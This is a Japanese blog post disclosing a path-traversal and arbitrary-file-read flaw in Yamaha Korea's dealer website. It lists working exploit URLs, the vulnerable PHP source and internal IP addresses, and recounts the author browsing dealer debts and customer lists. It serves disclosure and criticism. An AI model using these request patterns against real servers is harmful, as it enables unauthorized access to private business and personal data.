logo
code:Haemophilus influenzae

ここに書かれていることは無保証です。同じことを行って問題が発生しても、 龍義は責任をとりません。

Tatsuyoshi tech diary 2016年2月15日

戻る

ヤマハ韓国のセキュリティ
先月26日とか27日に書いたことの話。そこに通知して公表の猶予をしていたけど、
期限が過ぎたのでここに書いておく。

今回の問題について、1月27日にヤマハ韓国にeメールで通知を、並びに日本法人に
問い合わせから報告をして、2月14日まで公開しないことを伝えた。今日朝の段階で
何らかの対処をしてないようなので、本日2月15日の午前中にヤマハ韓国にeメール
を送信し、日本法人には電話をしたが、2月15日中に対処が行われなかった。
本来なら全て公開する予定であったが、何ら対処がされていなくて個人情報が
見られること、(もう遅いけど)本日18時に公開しないようにとeメールで返信が
来たこと、過去にヤマハコミュニケーションプラザでの対応が良かったという
記憶があったので、本日の段階では重要な部分は伏字で公開することにした。

2016年2月18日追記
ようやくヤマハ韓国が対処したようなので、伏字を外す。
話はヤマハ韓国(HANKOOK MOTOR TRADING CO.)の話。 http://www.ysk.co.kr/product/search.asp ここでパーツカタログをダウンロードできるのだけど、そのときに小さな window を開いて何かやっている。気になったので Wireshark で確認してみたら、こんな 感じのアクセスだった。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/home-cgi/code/data/__20110512_172814.2011)%C5%A9%B8%B3%C5%E6T110(1SX1).pdf
これってフルパスだよね、というのが始まり。じゃ、というので /etc/passwd を 拾ってみようとしたけど、エラー。/etc/hosts も同じ。流石に権限が付けられて いるかと思い、DocumentRoot っぽい public_html 以下のファイルを試してみた。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/index.html
あっさり取得できた。中身の最初17行ぐらいは、こんな感じで PHP っぽい内容 だった。
<?
$login_check = True;
require_once "../init.php";
require_once "../intra/common/common.php";
require_once "$PATH_DIR/path/oms-php/osystem/osystem_include.php";

$odb = new OSystem_Db;

$type = 1;
require_once "login_session.php";
require_once "../intra/common/html_head.php";

if ($process == 1)
{
//echo("<meta http-equiv='refresh' content='0; url=/intra/admin/index.htm'>");
echo("
<script language=\"javascript\">
その中で動作に影響を与えていそうなファイルをダウンロードしてくる。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/intra/admin/index.htm
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/init.php
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/intra/common/common.php
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/login/login_session.php
もう1つ、問題の download.php の場所もなんとなくわかったのでダウンロード する。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home/group7/ysk/public_html/intra/common/download.php
この download.php の中を見てみた。ちょっと長くなるけど、大事な部分なので 全部を。
<?
if ($encoding=="YES")
{
$filelink = urldecode($filelink);
}
if (!file_exists($filelink))
{ echo("DOWNLOAD할 화일이 없습니다.$filelink");
exit;
}

$name = basename($filelink);

$pos = 0;
if (ereg ("^__([0-9]{8})_([0-9]{6}).", $name))
{
$pos = strpos($name, '.') + 1;
$name = substr($name, $pos);
}

session_write_close();
set_time_limit(0);

header("Cache-Control: ");
header("Pragma: ");
header("Content-Type: application/octet-stream");
header("Content-Length: " .(string)(filesize($filelink)));
header('Content-Disposition: attachment; filename="'.$name.'"');
header("Content-Transfer-Encoding: binary\n");

if($fp = fopen($filelink, 'rb'))
{
while( (!feof($fp)) && (connection_status()==0) )
{
print(fread($fp, 1024*8));
flush();
}
fclose($fp);
}
return((connection_status()==0) and !connection_aborted());

/*
header("Cache-control: private");
header("Content-type: application/x-msdownload");
header("Content-Disposition: attachment;filename=$name");
header("Content-Transfer-Encoding: binary");
header('Content-length: '.(string)(filesize($filelink)));
Header("Pragma: no-cache");

$fp = fopen($filelink,"r");
$data = fread($fp,filesize($filelink));
fclose($fp);
echo $data;
*/

echo("
<SCRIPT LANGUAGE=\"JAVASCRIPT\">
<!--
self.close();
//-->
</SCRIPT>
");

?>
ファイルの存在チェックと、「__数字8桁_数字6桁」の削除ぐらいしかしてない ザルの状態。 その前にダウンロードした login_session.php を見てみたら IP アドレス制限が ありそうだった。斜め読みだったので、後から実はコメントされているという ことに気が付いたけど。
$access_ip = $_SERVER["REMOTE_ADDR"];
//--------------------------------------------------------------//
// 보안 적용
// 직원은 외부에서 접속 못하게...
//--------------------------------------------------------------//
/*
if ($login_user_level < $_MEMBER_COMPANY)
{
$flag = false;
//$flag = true;
if (ereg("^127.0.", $access_ip) ||
ereg("^192.168.", $access_ip) ||
ereg("^118.131.233.178",$access_ip) || // 야마하 본사
ereg("^112.221.171.76", $access_ip) || // 야마하 대전
ereg("^59.7.51.204", $access_ip) || // OMS 연구소
ereg("^210.223.107.148",$access_ip)) // OMS 본사
{
$flag= true;
}
if ($flag==false)
{
alert_msg("내부 사용자는 외부에서 사이트에 접속 할 수 없습니다.");
echo("<meta http-equiv='refresh' content='0; url=/login/login.htm'>");
exit;
}
}
*/
そんな感じで中を見て行くと、ログイン後のページは /intra/admin/index.htm で、中はフレーム3つに分かれており。 /intra/admin/frame_top.php /intra/admin/frame_left.php /intra/admin/frame_right.php /intra/admin/frame_right_company.php /intra/admin/frame_right_person.php となっている。right のフレームは権限によって3つある。frame_left.php では メニューが表示されるようで、こんな感じで設定ファイルを読み込む。
if ($ss_user_level < $_MEMBER_COMPANY)
{
if ($ss_pg_type == $_MENU_ALL) $cfgRead->main("menu_all.cfg");
else if ($ss_pg_type == $_MENU_CEO) $cfgRead->main("menu_ceo.cfg");
else if ($ss_pg_type == $_MENU_관리) $cfgRead->main("menu_관리.cfg");
else if ($ss_pg_type == $_MENU_영업) $cfgRead->main("menu_영업.cfg");
else if ($ss_pg_type == $_MENU_부품) $cfgRead->main("menu_부품.cfg");
else if ($ss_pg_type == $_MENU_정비) $cfgRead->main("menu_정비.cfg");
else
{
echo("사용자 정의 오류");
exit;
}
}
もちろん、この cfg ファイルもダウンロードしようとしたけど、ファイル名に ハングルが入っているものはエンコードの問題なのかうまくいかなかった。権限が 強そうな all とか ceo がダウンロードできたので、ハングルのファイルはすぐに あきらめた。 中を見ていると、データは DB に入っているので重要なデータはダウンロードが できない。報告するにはインパクトが弱いなと思いながら ls コマンドが実行 できないか PHP の fopen を調べてみる。ディレクトリも指定できるとあるので やってみた。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=/home
4kB のファイルのダウンロードが始まったが、一向に終わる気配がない。fread がうまくいっていないのかな。PHP の fopen には、さらにスキームが指定できる と書いてある。
filename が "スキーム://..." の形式である場合、 それは URL とみなされ、PHP はそのプロトコルのハンドラ (ラッパーともいいます) を探します。
このスキームについては、サポートするプロトコル/ラッパーというページがあり、 目次には以下のスキームが出ている。
file:// — ローカルファイルシステムへのアクセス
http:// — HTTP(s) URL へのアクセス
ftp:// — FTP(s) URL へのアクセス
php:// — さまざまな入出力ストリームへのアクセス
zlib:// — 圧縮ストリーム
data:// — データ (RFC 2397)
glob:// — パターンにマッチするパス名の検索
phar:// — PHP アーカイブ
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — オーディオストリーム
expect:// — 対話的プロセスストリーム
glob:// を使えば ls の代わりにならないか、やってみた。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=glob://home/group7/ysk/public_html/intra/admin/*.cfg
ダウンロードできないとか返ってきた。そうか、file_exists でチェックして、 エラーが出ているのか。download.php とは別の PHP でもダウンロードできる コードがあって、それは file_exists のチェックをしてないようなので、その PHP を使ってやってみる。
http://ysk.ysk.co.kr/intra/app/code_part/list_view.php?excel=dn&filelink=glob://home/group7/ysk/public_html/intra/admin/*.cfg
ファイルがダウンロードできたので、中を見てみた。タグ入りで見にくいので ブラウザに投げたときの表示。
Warning: filesize() [function.filesize]: stat failed for glob://home/group7/ysk/public_html/intra/admin/*.cfg in D:\HOME\group7\ysk\public_html\intra\app\code_part\list_view.php on line 10
Warning: fopen(glob://home/group7/ysk/public_html/intra/admin/*.cfg) [function.fopen]: failed to open stream: No error in D:\HOME\group7\ysk\public_html\intra\app\code_part\list_view.php on line 14
filesize でも fopen でもエラーが起きている。それよりも驚いたのが、D:\ と 出ていること。Windows で動いているのか、ということでこのサーバに対して curl でアクセスして http ヘッダを見てみた。抜粋した内容は。
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.6
X-Powered-By: ASP.NET
そりゃ、/etc/passwd は無理か。/home とか出てたので、確認もせずに UNIX 系 だと勘違いしていた。Windows とわかったので、Windows のファイルを取りに 行ってみた。
http://ysk.ysk.co.kr/intra/common/download.php?encoding=YES&filelink=C:\WINDOWS\system32\drivers\etc\hosts
あっさりダウンロードできた。中身がちゃんとあるのか確認してみる。
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
oms.kr 115.90.63.195
中身はあるけど、全く面白くない。というか、Windows で取得できてインパクトが あるファイルって何だろう、と考えながら眠くなったので次の日に持ち越しした。
日付が変わって27日。続きを行う。Windows のファイルがダウンロードできるけど、 何のファイルがダウンロードできるとインパクトがあるのか、テストがてらに やってみた。 ○ C:\Windows\Inf\usb.inf × C:\Users\Administrator\ntuser.ini × C:\Program Files(x86)\PHP\php.ini 読み込めない理由が権限の問題なのか、ファイルが存在しないからなのかわかる ようにはなったけど。notepad.exe なんかダウンロードしてもインパクトないし、 どうしたものかと考える。 決め打ちを何度かするのもサーバに負荷がかかって迷惑かけるだろうし、一度、 ファイルダウンロードをやめて、PHP でアクセスできないかやってみることに してみた。結局、IP アドレスの制限もないし、ほとんどのページでセッションの 管理もしていないので、アクセスできるようになった。一部でリダイレクトを して進めないようにしている PHP もあったが、自動リダイレクトしないように ブラウザの設定を変えればじっくり見ることもできるし。 販売店向け NEWS のページでは、価格リストの Excel ファイルがダウンロード できたり。 Price List 噂に聞いていた YZF-R1 のリコールでの部品交換マニュアルがあって、大変そう だななんて眺めたり。月ごとの販売台数がわかったり。 number of sales 販売店の未払金情報だったり。 Price List 他に8000台を超える販売車両一覧や、6500人以上のユーザ一覧のようなもの、 14000人以上の登録ユーザ一覧もあったが、いかんせんハングルなので何が書いて あるのかさっぱりわからない。 一応書いておくけど、ここまで全てブラウザを使ったアクセス。パスワードを 破ったとかしてないし、存在するファイルからアドレスをコピーしてアクセスを しただけ。向こうは自分達の無能さを差し置いて「不正アクセス」と呼びそうな 気もする。問題は制限を掛けていないことだし、PHP ファイル自体も SQL イン ジェクション等を考える以前の「ひどい」もので、会社や開発者の意識が低い ことにある。 ということで、かなり長くなったので続きは明日。ヤマハの対応なんかを。

by Tatsuyoshi
since 2003